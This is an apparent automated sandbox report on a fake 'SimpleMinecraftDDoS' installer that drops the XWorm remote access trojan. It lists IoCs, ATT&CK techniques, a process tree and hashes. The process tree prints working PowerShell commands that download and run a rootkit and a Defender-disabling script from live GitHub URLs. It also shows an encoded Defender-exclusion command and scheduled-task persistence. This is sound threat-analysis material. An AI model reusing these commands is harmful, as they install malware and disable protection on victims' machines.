xworm | 68d7882cfaa96136abb3a10a109ffbc58d3ab173a4e9fd77061d65b7832df5de

Analysis

max time kernel
28s
max time network
30s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05/03/2025, 14:40

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

SimpleMinecraftDDOS.Setup.exe
Size

78.1MB
MD5

3aa6b5236e93bedc366c986474e6717b
SHA1

89d0305ea9961ab31512ad3d149553a583b8b3cc
SHA256

68d7882cfaa96136abb3a10a109ffbc58d3ab173a4e9fd77061d65b7832df5de
SHA512

a8c5ffe2f497dafca54bd8389cff99bdbcab7931b6e8c0513dd6f7bcf54597d40ac446a97d31911269838c6f5eedade357b464d838d48720320c7fb622940575
SSDEEP

1572864:YRDr+0KGDNx/EPwvbS+1bhWwDlpg/zuTT4lmfD6bP5rLtL57vZYPorfSnK:wr+0KGDN5ww2QVWwxpg/zIslm7A5HZpm

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes

Install_directory
%port%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/J42c6s7r

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000012117-4.dat	family_xworm
behavioral1/memory/2436-7-0x0000000000A60000-0x0000000000A74000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1728	powershell.exe
6	1728	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1728	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2436	Credential Guard & VBS Key Isolation.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
1264	SimpleMinecraftDDoS.exe

Loads dropped DLL 16 IoCs

pid	Process
1048	SimpleMinecraftDDOS.Setup.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Credential Guard & VBS Key Isolation = "C:\\Users\\Admin\\AppData\\Roaming\\Credential Guard & VBS Key Isolation.exe"	Credential Guard & VBS Key Isolation.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com
8	pastebin.com
9	pastebin.com
12	raw.githubusercontent.com
13	raw.githubusercontent.com
16	raw.githubusercontent.com
17	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2660	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Credential Guard & VBS Key Isolation.exe	SimpleMinecraftDDOS.Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SimpleMinecraftDDOS.Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SimpleMinecraftDDoS.Setup.2.0.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2604	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2412	powershell.exe
2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
2660	tasklist.exe
2660	tasklist.exe
1728	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	Credential Guard & VBS Key Isolation.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	2660	tasklist.exe
Token: SeSecurityPrivilege	2696	SimpleMinecraftDDoS.Setup.2.0.0.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeShutdownPrivilege	332	shutdown.exe
Token: SeRemoteShutdownPrivilege	332	shutdown.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 2412	1048	SimpleMinecraftDDOS.Setup.exe	28
PID 1048 wrote to memory of 2412	1048	SimpleMinecraftDDOS.Setup.exe	28
PID 1048 wrote to memory of 2412	1048	SimpleMinecraftDDOS.Setup.exe	28
PID 1048 wrote to memory of 2412	1048	SimpleMinecraftDDOS.Setup.exe	28
PID 1048 wrote to memory of 2436	1048	SimpleMinecraftDDOS.Setup.exe	30
PID 1048 wrote to memory of 2436	1048	SimpleMinecraftDDOS.Setup.exe	30
PID 1048 wrote to memory of 2436	1048	SimpleMinecraftDDOS.Setup.exe	30
PID 1048 wrote to memory of 2436	1048	SimpleMinecraftDDOS.Setup.exe	30
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 1048 wrote to memory of 2696	1048	SimpleMinecraftDDOS.Setup.exe	31
PID 2696 wrote to memory of 2760	2696	SimpleMinecraftDDoS.Setup.2.0.0.exe	32
PID 2696 wrote to memory of 2760	2696	SimpleMinecraftDDoS.Setup.2.0.0.exe	32
PID 2696 wrote to memory of 2760	2696	SimpleMinecraftDDoS.Setup.2.0.0.exe	32
PID 2696 wrote to memory of 2760	2696	SimpleMinecraftDDoS.Setup.2.0.0.exe	32
PID 2760 wrote to memory of 2660	2760	cmd.exe	34
PID 2760 wrote to memory of 2660	2760	cmd.exe	34
PID 2760 wrote to memory of 2660	2760	cmd.exe	34
PID 2760 wrote to memory of 2660	2760	cmd.exe	34
PID 2760 wrote to memory of 2656	2760	cmd.exe	35
PID 2760 wrote to memory of 2656	2760	cmd.exe	35
PID 2760 wrote to memory of 2656	2760	cmd.exe	35
PID 2760 wrote to memory of 2656	2760	cmd.exe	35
PID 2436 wrote to memory of 1728	2436	Credential Guard & VBS Key Isolation.exe	37
PID 2436 wrote to memory of 1728	2436	Credential Guard & VBS Key Isolation.exe	37
PID 2436 wrote to memory of 1728	2436	Credential Guard & VBS Key Isolation.exe	37
PID 2436 wrote to memory of 2604	2436	Credential Guard & VBS Key Isolation.exe	41
PID 2436 wrote to memory of 2604	2436	Credential Guard & VBS Key Isolation.exe	41
PID 2436 wrote to memory of 2604	2436	Credential Guard & VBS Key Isolation.exe	41
PID 2436 wrote to memory of 332	2436	Credential Guard & VBS Key Isolation.exe	45
PID 2436 wrote to memory of 332	2436	Credential Guard & VBS Key Isolation.exe	45
PID 2436 wrote to memory of 332	2436	Credential Guard & VBS Key Isolation.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SimpleMinecraftDDOS.Setup.exe
"C:\Users\Admin\AppData\Local\Temp\SimpleMinecraftDDOS.Setup.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYwB2ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAdwBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAbQBjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGgAbABkACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2412
- C:\Windows\Credential Guard & VBS Key Isolation.exe
  "C:\Windows\Credential Guard & VBS Key Isolation.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Credential Guard & VBS Key Isolation" /tr "C:\Users\Admin\AppData\Roaming\Credential Guard & VBS Key Isolation.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2604
- - C:\Windows\system32\shutdown.exe
    shutdown.exe /f /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:332
- C:\Users\Admin\AppData\Local\Temp\SimpleMinecraftDDoS.Setup.2.0.0.exe
  "C:\Users\Admin\AppData\Local\Temp\SimpleMinecraftDDoS.Setup.2.0.0.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq SimpleMinecraftDDoS.exe" /FO csv | "C:\Windows\system32\find.exe" "SimpleMinecraftDDoS.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist /FI "USERNAME eq Admin" /FI "IMAGENAME eq SimpleMinecraftDDoS.exe" /FO csv
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2660
  - - C:\Windows\SysWOW64\find.exe
      "C:\Windows\system32\find.exe" "SimpleMinecraftDDoS.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2656

C:\Users\Admin\AppData\Local\Programs\simpleminecraftddos\SimpleMinecraftDDoS.exe
"C:\Users\Admin\AppData\Local\Programs\simpleminecraftddos\SimpleMinecraftDDoS.exe"
1⤵
- Executes dropped EXE
PID:1264

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:448

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC52A.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\LICENSE.electron.txt

Filesize
1KB

MD5
4d42118d35941e0f664dddbd83f633c5

SHA1
2b21ec5f20fe961d15f2b58efb1368e66d202e5c

SHA256
5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d

SHA512
3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\LICENSES.chromium.html

Filesize
8.7MB

MD5
6ff57c0aeccdf44c39c95dee9ecea805

SHA1
c76669a1354067a1c3ddbc032e66c323286a8d43

SHA256
0ba4c7b781e9f149195a23d3be0f704945f858a581871a9fedd353f12ce839ca

SHA512
d6108e1d1d52aa3199ff051c7b951025dbf51c5cb18e8920304116dcef567367ed682245900fda3ad354c5d50aa5a3c4e6872570a839a3a55d3a9b7579bdfa24

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\chrome_100_percent.pak

Filesize
148KB

MD5
83ec43f2af9fc52025f3f807b185d424

SHA1
ea432f7571d89dd43a76d260cb5853cada253aa0

SHA256
a659ee9eb38636f85f5336587c578fb29740d3effaff9b92852c8a210e92978c

SHA512
6ddca85215bf6f7f9b17c5d52bd7395702515bc2354a8cd8fa6c1ccd7355a23b17828853ceabeef597b5bca11750dc7c9f6ec3c45a33c2106f816fec74963d86

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\chrome_200_percent.pak

Filesize
223KB

MD5
dc48a33bd20bfc7cacfc925a84b015b6

SHA1
8dfee88fd1dc77f89ad88c19146fe3ab45e43f3c

SHA256
2c1b3e4b8a0cf837ae0a390fca54f45d7d22418e040f1dfea979622383acced6

SHA512
1d54eb5d2ba06af0ba8f6b491b0d43f178a48ac82cdf383beb265e732ddfc06bca9692003fdfce56f7f00af97f29acf046c73b891b8c561610098f9626eaf05a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\d3dcompiler_47.dll

Filesize
4.7MB

MD5
a7b7470c347f84365ffe1b2072b4f95c

SHA1
57a96f6fb326ba65b7f7016242132b3f9464c7a3

SHA256
af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a

SHA512
83391a219631f750499fd9642d59ec80fb377c378997b302d10762e83325551bb97c1086b181fff0521b1ca933e518eab71a44a3578a23691f215ebb1dce463d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\ffmpeg.dll

Filesize
2.8MB

MD5
5a168cb3ea9d0e7400baabf60f6ab933

SHA1
82a86cb7f42294ab4ad6669c19b92605d960b676

SHA256
af5f1bc9f6a73750fa0c7bf17439700cfb3ab23e1393f0c9899825417e319b54

SHA512
7c1441ecd049543e38297a7b6929e9f3eb978422d0ce508fbe6350ffebd297f947b8d9ec75bd2054142dcd8461eef1bf110e040d0830da977fde8944bece843d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\icudtl.dat

Filesize
10.0MB

MD5
ffd67c1e24cb35dc109a24024b1ba7ec

SHA1
99f545bc396878c7a53e98a79017d9531af7c1f5

SHA256
9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92

SHA512
e1a865e685d2d3bacd0916d4238a79462519d887feb273a251120bb6af2b4481d025f3b21ce9a1a95a49371a0aa3ecf072175ba756974e831dbfde1f0feaeb79

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\libEGL.dll

Filesize
481KB

MD5
39ccf402a62f068a8c573b45ea96154d

SHA1
57ceb915ea6f88c7fcca35339bf951659c0338ab

SHA256
8649d77ace8e5753b9a10e7ae3349aafa9d8e3406ba9c8c36a59633a84b3c41b

SHA512
c4f9225c54d413176cb3dd2b26d429493fd056c7c283bc7a1c52b4a2059dbb11380daf5d847be1ff29f058ba0ef44d4bf66a3d9e9a600000dc8f6d20dfb2ed03

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\libGLESv2.dll

Filesize
8.0MB

MD5
f055a130c79bd517bdb53b1f8a38bd3b

SHA1
9fba0ad4ba973bb285b23cc125004baf61a98b5a

SHA256
45b53759392b81ce7d916b3f1cf02be30289809bd31d09fc1524ef2609183b17

SHA512
d9dcb217f268862c577cacf4e9f84c63e02b647113d484338a74eb0b24fadd6d87b4e7a551dd1ef692bb38e44562bff848982acb62840d4f49f91a7751320e34

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\af.pak

Filesize
520KB

MD5
d9bec09b6c523dc3bca9a81264b1beed

SHA1
ea4ae9dff554c59994632f85af25b36c049fb5b2

SHA256
0b5a45de223ce8522cc296af1e93477540eaa74867428307cc3a5cd21921b022

SHA512
6e7677f86f73edffb5d6162ca19bb7464465f0f485ce2971fb20ad3f57d9fac56b7a21d378701f80e85fb185c3af6a238f8c8707f5874bffffd79d881a54dd6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\am.pak

Filesize
840KB

MD5
e3933de22dc7fb98215b083d8a379f40

SHA1
68ddbd9bcc931f0d4a172fa65af35b823c7c9e37

SHA256
eaa747075e5a62be8b7df5908e167ccc5314c9c6a8b890059d00284a3c496fef

SHA512
7beb80fa029f41cb21536b15c604e2ae9dfc20b4a3ec4f5cc04e2b105d4b2c251830624957197084761f9686f95d332e25d4f6178509ad58257af90d96a9e7d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ar.pak

Filesize
921KB

MD5
ac865ff462f341b4317c3d16eeb40460

SHA1
1e971d97f09884b23595f17534227ea43cf99090

SHA256
0557bc17eb1d134bd52f203836551b55579114708e2df51f653972951567513d

SHA512
a935b91a2c053303e941866cfc151f28053faf364aeece98d61fcd68fef6c6f1d3b73de01cd602c8a4a081cce452d1ce87f8166ba3c0e8b81e91d932f84737f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\bg.pak

Filesize
959KB

MD5
7c37c8c9b4215089b6c16d22838d256b

SHA1
8f2afdc21353685353a0562452f4a79180e58829

SHA256
2ebd582dfaa3139cd6a03e9892a94a3d9bb6936e0b04085b8f2d27e1dec0bc8a

SHA512
beadd70e9d706576bfb6725617385f776e9f68c84d116b01187354d377e2c860899da34f8c5a054c4bde41a57e9aac56445f6ac0b8da8c75a424641a86fdd718

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\bn.pak

Filesize
1.2MB

MD5
fc66adf3deac72fd39105540dd2daeff

SHA1
a53b54efcc1285a226d605116f87d12f69942482

SHA256
ef50cfebaf9e32edeec25d30197ac5899b3db8a0676671f639d32bc48f3b3bd8

SHA512
0b77daa056451d01a8cfb3ff1acc08d34e64e0a32bb119c8837ae3d6e3d5195311427c6101efd7e7bc9104aa369832bb12aab3d4080c00dc39edc98b6c0b949e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\ca.pak

Filesize
584KB

MD5
e1ac7f4c28177f68fac3be2375a9368c

SHA1
3d7738699087468a748f9b1189d2f7621187d03b

SHA256
efa1ba906f8abce91ebb9d6442b64e0d5ae7dab78dda8a49a6fed1a342c71b9b

SHA512
aee8cb28eb02e2fb2155c8d093cf678284e3571f46b913f743de3c6d0215c18b80866ff446f46ada160860ed9c18ae9a4209424e7e0f0ba97c78a3fe9815ca5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\cs.pak

Filesize
602KB

MD5
92e3fd1eb47767a0cb5f6e734de4eec1

SHA1
33053bfead1fa67160b6a3c417ec4559bfdcdcfb

SHA256
d269e16fbd9b2afe95b148ece22b2ac803768fb53ee42e1fad0181f9dec84544

SHA512
916d73d9b28b0600878418a06388c2ed61bfaf17807a16e1c157a30e5da136c6b6f194e99d151c43b9aa35d101de755caa6da69e1c8a50dd134f27a7f2adc016

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\da.pak

Filesize
545KB

MD5
43029018648d558f9bbf7a74c59eb281

SHA1
90c6618cccb4db85d7485ae8d809ec3af4763e70

SHA256
4bd88f6ab82842358987aad384775b35198dd75c2cce4cae783208ed69296a7e

SHA512
9e8ef9d4367ad01f2f4e7dd6f9884e463729ee5a0f678fd16a3ce093c21efc1d78041d5c6e45037f37bfd732e4833744485b00acfda2313a1d1e947993129a3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\de.pak

Filesize
582KB

MD5
3a8de004b3a610271e1d1913b6d4b53b

SHA1
236893c3f7b450e6ad8b4d54e1a62b2e635b42d6

SHA256
43c060182c92caf4aebf8fd7b913dfe017beea71e796e862ebf8746575948364

SHA512
b70f849ccf7dd9e72d71522591420e0baa03ff74763b44563b0b3800ba3a88cb8b973fabb90bbb6653819947eca47f70e347958e3c31ab226957f7313bc03554

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\el.pak

Filesize
1.0MB

MD5
58d6eaf71b9b73f5f7f057c73d0d92ec

SHA1
16e0587753e7d2834f4cbb24fed45e7bd2f8f2f4

SHA256
8474879de21c414d34c44cf0a8c91356a66dbd647308a4f994be25bd1f93a89f

SHA512
ab24c9655bd68e4a64e257914a35dc84b5f791c58b396ae004bf5da61df19c02ef9ca572b8e63f15baf3694ae1e540adf74586f10d28d7ef90edeec982bcf28d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\en-GB.pak

Filesize
474KB

MD5
985558de03bf486aec1daadd39cb508d

SHA1
b693ddef983e8af212936202ddca92d908378404

SHA256
1956d448a4d333638f3601d0da976710cbe0a795504eb694ba18311fe586d195

SHA512
13d1c82b797ad4ff25a94a996f9fb52b530643a0e735f96e32b9e0698962770148d95db7beb91343d781fb84378a3e334ac0c1c913d8dbae20f425bf0dc364d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\en-US.pak

Filesize
478KB

MD5
752a3feed3ab6c127767c8fabc9a40b6

SHA1
4af9f9c19904d3bef154b469858dc44b1e630a75

SHA256
c6a6c5d7ab6119bba712d6fe45fd385506d4d0dd8e4156cca3925062f4502ac5

SHA512
ae96d4f391e36f8f741671b72ebd4b1ab2d049b2a99b95737fb9f81743b9e414b46022b65194af5616eb354056addf0e46ef090f56b7d945ef2cb5f4d100d64f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\es-419.pak

Filesize
575KB

MD5
85e9b056e3ac3f6a5b113ed9f460e202

SHA1
dcceef6ea85d71a85dd24d17ec65371dce76f480

SHA256
16fe83762ed578c49685868418325920a72cd457907bc4e5264f2c172d53b27b

SHA512
e4dfde9c1260df1f77b7ec1797658f8cfeaab98142a8d512ed3bfac054933a4583f20091b97985b4ba9cf93f9faca3e7b0986cb4a3eb12fe0bc04ee1c45d3e0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\es.pak

Filesize
575KB

MD5
3db06ea954c83343bd333c15947f521a

SHA1
ddde6ab9f9085e83ec8bf7a37df3389040acea42

SHA256
45df7340fe3c8560b11ffba2219de1b5c45dbfe57b6db90bd6c246244fae338a

SHA512
cc29f1075c119daddaa108c17abb6d572925cac1ed2237ed2fd45364bfb2a00c1144fccdd22c6728c954af2cdd1b9477f39968ba25354bca2b9dca07f5c53dde

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\et.pak

Filesize
523KB

MD5
8e2c2cc8c516d8b7181c0c712ca24513

SHA1
e0ccd9ed8de6640379f822a067dcf97d4bbe44a7

SHA256
c96937f46fb1b1182b201f5c48fe1da4d3f94a68a0e6e0699ccc0944cd0a5a33

SHA512
339bc655f22068f2ee9352a670325865265e4279197430214f7e3fba575415318110cccb03aed2c0e7ac673d4629bd495dc34a56cefbcaab62e1c4a1a87ed8c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\fa.pak

Filesize
855KB

MD5
caee902136579f4bac72a6f0f75d171b

SHA1
cbbaf988a499005e21fd86652e1f48af8bce2c35

SHA256
e86f677e9654f6a16a7738e85a5a5d467a09cb18e47654f079506a00affad70c

SHA512
c0f2e8457f71789da8ce207aaae2f83196daac868fcaa7a84de04dd38730f8831b9643b8a404a7aa59c5b726da02090bba414529019f5eb9c94ac5a5af61bc9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\fi.pak

Filesize
534KB

MD5
125a121c22dfc2b1a1c759cad9123e42

SHA1
d0282af9ec311c406ecccdfdd7216b7d883e94c3

SHA256
b733460f039dcb3795077ba91dafa3b9b8163dfd0f15168b250630f7de21ed0a

SHA512
c6e0ea8fab8115a632d4c74141efc46ea546f43e0b806d5bd95a1ecd3b8fe37a44565a2f79c43e0bc50dbdadc5d16054e07485fad83c99bd3550a907c852e724

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso84BB.tmp\7z-out\locales\fil.pak

Filesize
604KB

MD5
eaf43729e9bbd8004ef1ff56a3d85a48

SHA1
34b31ab8ea2ce6bd263f00acc50d5af8d0222d9a

SHA256
8559cc35335bb2c249297f4c7506df95cef899ef5f7ad942d2d511ae074d41b0

SHA512
010f8e5c3b969be0db4baec3acffdd69be25662387968e15e11af0da68ec2f45dc9edb83cafe7c92234e1e4e4aae1682223235af04d99e8b5238379e022e3d35

Download Submit
